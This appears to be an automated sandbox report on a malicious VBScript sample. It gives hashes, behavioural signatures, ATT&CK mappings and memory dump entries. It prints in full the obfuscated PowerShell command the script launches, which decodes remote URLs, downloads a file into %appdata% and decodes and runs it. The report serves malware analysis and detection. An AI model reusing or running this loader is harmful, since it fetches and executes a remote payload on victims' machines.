0a38a5ec2f3b805dcf29cb2b6585b331f5ccbda83b2edc99fba4ce6df0044d00

General

Target

0a38a5ec2f3b805dcf29cb2b6585b331f5ccbda83b2edc99fba4ce6df0044d00.vbs
Size

26KB
MD5

b9e589a0c76fd4f85e43c2d84c3e614c
SHA1

de74efff3b786612b9ea4fc220a63aa5c76d52d8
SHA256

0a38a5ec2f3b805dcf29cb2b6585b331f5ccbda83b2edc99fba4ce6df0044d00
SHA512

98cf7b171da4591dc5fca39b5a48abc43ca3698d6a00c3378e974fdea8e9f6999a889209f3a8c15f7a8794f5823ed2e23fa707944ba346e409f1436a6a1c298a
SSDEEP

384:6lzV6m2So022lGP9V6+s0flKJpl/5ZrE5HVnS0Re7PIx+5lEPmgwwBrkzsxpZzQh:qzSR022X/523S0e8xPPmukOpFGcNbDN0

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 26 IoCs

flow	pid	Process
3	2152	WScript.exe
5	2708	powershell.exe
6	2708	powershell.exe
7	2708	powershell.exe
8	2708	powershell.exe
10	2708	powershell.exe
13	2708	powershell.exe
14	2708	powershell.exe
15	2708	powershell.exe
16	2708	powershell.exe
17	2708	powershell.exe
18	2708	powershell.exe
19	2708	powershell.exe
20	2708	powershell.exe
21	2708	powershell.exe
22	2708	powershell.exe
23	2708	powershell.exe
23	2708	powershell.exe
24	2708	powershell.exe
25	2708	powershell.exe
26	2708	powershell.exe
27	2708	powershell.exe
28	2708	powershell.exe
29	2708	powershell.exe
30	2708	powershell.exe
31	2708	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2708	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2708	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2152 wrote to memory of 2708	2152	WScript.exe	32
PID 2152 wrote to memory of 2708	2152	WScript.exe	32
PID 2152 wrote to memory of 2708	2152	WScript.exe	32
PID 2708 wrote to memory of 2980	2708	powershell.exe	34
PID 2708 wrote to memory of 2980	2708	powershell.exe	34
PID 2708 wrote to memory of 2980	2708	powershell.exe	34

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0a38a5ec2f3b805dcf29cb2b6585b331f5ccbda83b2edc99fba4ce6df0044d00.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2152
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Skopudsernes182 Opmrksomheder Delestregs Respektstridigste Moneybag Margravely Closeness Approberingernes Telescopist oxidens socialinspektrers Antropologers143 Omstningshastighedens Kenns Indtrngtes Andreasen Slagborenes Watermoccasin Fonde Rrlagt Regnetegnets Grisens Drawspan Lsbar Skopudsernes182 Opmrksomheder Delestregs Respektstridigste Moneybag Margravely Closeness Approberingernes Telescopist oxidens socialinspektrers Antropologers143 Omstningshastighedens Kenns Indtrngtes Andreasen Slagborenes Watermoccasin Fonde Rrlagt Regnetegnets Grisens Drawspan Lsbar';If (${host}.CurrentCulture) {$Cajs++;}Function Snabelen($Drejningsmomenters){$Kips=$Drejningsmomenters.Length-$Cajs;$Flakkens='SUBsTRI';$Flakkens+='ng';For( $Brudflise=1;$Brudflise -lt $Kips;$Brudflise+=2){$Skopudsernes182+=$Drejningsmomenters.$Flakkens.Invoke( $Brudflise, $Cajs);}$Skopudsernes182;}function Deictic($Deponent){ & ($Arbota) ($Deponent);}$Keramikere=Snabelen 'RM o zFi l,l,a / 5d. 0 u(.WWiLnedDo w s RNTT .1S0 . 0,; ,W.ipn.6 4,;S OxP6R4F;c UrAvE: 1,2 1 .B0 ) PGSe c kboT/S2 0f1S0.0,1L0F1. UFTiSrHeTf oDxD/A1 2 1s.,0S ';$Diddan=Snabelen '.UTsTeSr -UA.g eMnFt. ';$Moneybag=Snabelen '.h t tApVs,: /S/Lass o,c i,aNtEi.a.tMr,a dTi t iCiJm.a r,iTa.. rPoA/ F i.r.s,t.s hCi p...sTnOp >Uh.tBtVp sC:././ k iFpHe.lN. c oTmB. bEr /..Dw e l,l,- k,nEoRwVn,/Cp kBiM- vUaTl.iHdFa tEiao nT/St.8TXFLSbT/ mPlR/SF.iSrPs,trs h,iSp,..s nAp. ';$Piquance=Snabelen ' >, ';$Arbota=Snabelen 'Ti euxs ';$Genevoise='Approberingernes';$Prionid = Snabelen ' e,c hAoA B%Na pTpFdRa.t a % \LN o n aMsSsLeWr,tKi v e n.eTs.s,..dCyUgs &P&G .eEc hNo ,tP ';Deictic (Snabelen ' $ gIl.o.bia lt: bCkSkgeAn b r uFdUd eCt sB=Y( cHm d / c, $IP rGi,o nCiMd ) ');Deictic (Snabelen 'R$.g lTo bRaBlS: R eIs.p.eSk tBs tFr i dFi.gYsPt,eS=I$ M oSn e ySbBaOg,.Ds pAlSi tR(R$EPDiMqTuAaBn cKeP) ');Deictic (Snabelen 'K[TNFe t .FSNeErLv.iBcMeRPOoei n t M aTn a g e rS] :B: SDeIc,uErIi t yHP rKoPtSoRc oOl =U [ NseLt . SFeTcEuFrCiUt yKPar o tPoNc.oVl TIySpTeM]v: :cT lSs 1 2A ');$Moneybag=$Respektstridigste[0];$Denizenise= (Snabelen 'N$ gSl o b aol :.S,u nGdMrNo.pSss9s3S=SN.eHwS-AOUbIj.eDc.t OS yUs t e m .SN eAtU. WTe bHC.l i e nGt');$Denizenise+=$bkkenbruddets[1];Deictic ($Denizenise);Deictic (Snabelen ' $ES.uBnAd r.o.p sT9 3H. HSe.a d e,r ss[U$UD.i,dKdBaCnT] =M$ KReMrDaRm,iak,e rbe. ');$Brantley=Snabelen ',$PShu n d,rAo pVsU9 3.. D oSwmnAlDo aPd F i lFeC(,$ MLoFnteEy.bAa.gF,H$AG r.iUs eUn,s ), ';$Grisens=$bkkenbruddets[0];Deictic (Snabelen 'N$DgCl oIbEa.lE:BKHeTm.iKk a l i eEa f fWa.l d sGbDeBkAeRn d.t g rPe lPsNe.= (DT e s,t.-OP aPt.h $HGBr.i s e,n s ). ');while (!$Kemikalieaffaldsbekendtgrelse) {Deictic (Snabelen 'U$,g lUo b aSlF: t o k,a n tReCt =U$Btmr uTe ') ;Deictic $Brantley;Deictic (Snabelen ' SEtNa,r t -.S l.e e p 4r ');Deictic (Snabelen 'N$ gFlDo,b a,l :PK eSmKiGk a l iSe a.f fDa l.d sHb eSk e n d,t gwrOe l.sEeS=R( TPe s tT-IPUaStHhE F$SG rSiUs.e n,s ), ') ;Deictic (Snabelen '.$kg l o.b,a,l :SD e l,e.sSt rSe gMs.=,$.gDlFo bMaFl,: O,p mSr.k s oAmSh e dNeBr.+P+ %K$.RAe sBpme,k.tBsRt.rKi d i g sLties. c o uVn tB ') ;$Moneybag=$Respektstridigste[$Delestregs];}$Krematoriet=329083;$Sayyids=26233;Deictic (Snabelen 'F$PgSl oMbSa lF:,TMeslReBs cSo,p iJs t N= uGZeHtI-BCRo nst.eVn tD $ G.r i sAe nGs ');Deictic (Snabelen 'S$EgWl oCbCa,lK: F i,b r,easA =. U[ SOy s.tDe,m..SCToFnOvierr t,]S:.: FRrToUm.B aCsPeV6 4.SDtOr i.nEg (U$,T eIl,eis c,oGpRiUs t,) ');Deictic (Snabelen 'B$Fgfl,o bKa l : A,nNt rToHpBo l o g e,rBsA1 4 3 ,=. P[GS y sUtTe,m .GT eEx t,.BE.n cBoodCi,nDg ]R: :GAMS.C I I .,GTe.tISNtDr,iGn gB(L$,FSiLbIrDetsO). ');Deictic (Snabelen ' $TgBlUoSbKaBld:AOTr.tDo,p dAe r 6,2S= $DA,n.tnrOoNpBo,l oSg.e,r sF1R4.3f.CsPu,bYsFt rPi nHg.( $SK.r eHm,aJtUoBrRi eNt ,.$GS a ylyPi.d s.) ');Deictic $Ortopder62;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2708
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Nonassertiveness.dyg && echo t"
    3⤵
    PID:2980

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\CabE8FA.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
memory/2708-20-0x000007FEF50EE000-0x000007FEF50EF000-memory.dmp

Filesize
4KB

Download
memory/2708-21-0x000000001B610000-0x000000001B8F2000-memory.dmp

Filesize
2.9MB

Download
memory/2708-22-0x0000000001E00000-0x0000000001E08000-memory.dmp

Filesize
32KB

Download
memory/2708-23-0x000007FEF4E30000-0x000007FEF57CD000-memory.dmp

Filesize
9.6MB

Download
memory/2708-24-0x000007FEF4E30000-0x000007FEF57CD000-memory.dmp

Filesize
9.6MB

Download
memory/2708-25-0x000007FEF50EE000-0x000007FEF50EF000-memory.dmp

Filesize
4KB

Download
memory/2708-26-0x000007FEF4E30000-0x000007FEF57CD000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing